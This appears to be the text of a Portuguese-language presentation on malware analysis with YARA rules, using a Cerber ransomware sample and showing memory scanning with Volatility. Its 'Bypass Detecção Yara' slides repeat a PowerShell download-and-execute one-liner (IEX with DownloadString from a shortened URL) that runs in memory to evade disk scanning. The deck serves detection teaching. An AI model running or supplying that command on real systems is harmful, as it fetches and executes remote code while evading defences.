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Agenda
• Analisando executáveis

• Regras Yara

• Bypass Detecção Yara

• Conclusão



Analisando executáveis
• Análise de Malware
Estática
• Estrutura

Dinâmica
• Comportamento



Yara
• Forma tradicional: buscar por arquivos a partir de hashes

• Yara: buscar por arquivos a partir de informações nele contidas
• Regras Yara:



Yara
• Tipos de String

Text Hexadecimal



Yara
• Onde testar?



Estáticas

Yara
• Exemplo: Cerber Ransomware

• SHA256: e67834d1e8b38ec5864cfa101b140aeaba8f1900a6e269e6a94c90fcbfe56678

Subrotinas: 44f4e0
RET

44fbf0
RET

Memória

XX0b20
RET

4094e
RET



Yara
• Exemplo: Cerber Ransomware

• SHA256: e67834d1e8b38ec5864cfa101b140aeaba8f1900a6e269e6a94c90fcbfe56678

Instruções

Endereço de
memória
alocado



Yara



Yara
• Text Strings

2222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222
66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
2?\?
777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777
uA8777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777
7777777777777778A??
wAA777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777
777777777777777AAw
ECCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCE
tVVDCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDVVt
zfVUTTCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCTTUVf|
ifUUUTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTUUUfi
nheUUUUTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTUUUUehn
ieeWWWURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRUWWWeei

22222224wwww4422222
22222244wwww4422222
22222244wwww8822226
66222288wwww8822226
66222288wwww8866666
66666688wwww8866666
66666688wwww8886666
66666888wwww8886666
66666888wwww88866
66888wwww88866
66888wwww88886
68888wwww9887777
#########
#########
77777889wwww9887777



Yara
• Text Strings

2222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222
66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
2?\?
777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777
uA8777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777
7777777777777778A??
wAA777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777
777777777777777AAw
ECCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCE
tVVDCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDVVt
zfVUTTCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCTTUVf|
ifUUUTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTUUUfi
nheUUUUTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTUUUUehn
ieeWWWURRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRUWWWeei

22222224wwww4422222
22222244wwww4422222
22222244wwww8822226
66222288wwww8822226
66222288wwww8866666
66666688wwww8866666
66666688wwww8886666
66666888wwww8886666
66666888wwww88866
66888wwww88866
66888wwww88886
68888wwww9887777
#########
#########
77777889wwww9887777

Quais escolher?



Yara

https://github.com/Neo23x0/yarGen

• Text Strings



Yara
• Tipos de String

Xor Base64



Yara
• Xor Strings



Yara
• Base64 Strings

• ‘This program cannot’: VGhpcyBwcm9ncmFtIGNhbm5vdA==

• ‘ This program cannot’: IFRoaXMgcHJvZ3JhbSBjYW5ub3Q=
• ‘ This program cannot’: ICBUaGlzIHByb2dyYW0gY2Fubm90
• ‘ This program cannot’: ICAgVGhpcyBwcm9ncmFtIGNhbm5vdA==
• ‘ This program cannot’: ICAgIFRoaXMgcHJvZ3JhbSBjYW5ub3Q=
• ‘ This program cannot’: ICAgICBUaGlzIHByb2dyYW0gY2Fubm90

• ‘This program cannot ’: VGhpcyBwcm9ncmFtIGNhbm5vdCA=
• ‘This program cannot ’: VGhpcyBwcm9ncmFtIGNhbm5vdCAg
• ‘This program cannot ’: VGhpcyBwcm9ncmFtIGNhbm5vdCAgIA==



Yara
• Tipos de String

Regular Expression



Bypass Detecção Yara

Disco

yara64.exe



Bypass Detecção Yara

Disco

yara64.exe

powershell -nop -exe bypass win
1IEX (New-Object
Net.WebClient).DownloadString('htt
ps://tinyurl.com/y5nupk4e')



Bypass Detecção Yara

Disco

yara64.exe

Memória

powershell -nop -exe bypass win
1IEX (New-Object
Net.WebClient).DownloadString('htt
ps://tinyurl.com/y5nupk4e')



Bypass Detecção Yara

Disco

yara64.exe

Memória

No results found



Yara - memória
• Realizar dump de memória

• Utilizar volatility com plugin do Yara (yarascan)



Yara - memória



Yara - memória

Precisa ser um processo em
execução no momento da captura da

memória

powershell -nop -exe
bypass win 1IEX (New-
Object
Net.WebClient).Downlo
adString('https://tinyurl.
com/y5nupk4e')



Yara - memória



Referências
• https://yara.readthedocs.io/en/stable/writingrules.html
• https://hybrid-analysis.com/
• https://www.volatilityfoundation.org/
• https://github.com/volatilityfoundation/volatility/wiki/Command-
Reference-Mal#yarascan


